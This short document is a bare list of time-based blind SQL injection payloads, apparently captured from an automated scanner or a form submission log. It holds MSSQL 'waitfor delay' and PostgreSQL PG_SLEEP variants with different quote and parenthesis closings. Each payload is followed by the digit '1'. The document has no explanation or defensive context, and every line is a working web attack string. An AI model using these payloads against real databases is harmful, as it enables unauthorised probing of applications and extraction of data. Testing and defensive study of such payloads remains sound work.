555-1 waitfor delay '0:0:15' --

1

555ZidjKzXi'; waitfor delay '0:0:15' --

1

555-1 OR 312=(SELECT 312 FROM PG_SLEEP(15))--

1

555-1) OR 211=(SELECT 211 FROM PG_SLEEP(15))--

1

555-1)) OR 807=(SELECT 807 FROM PG_SLEEP(15))--

1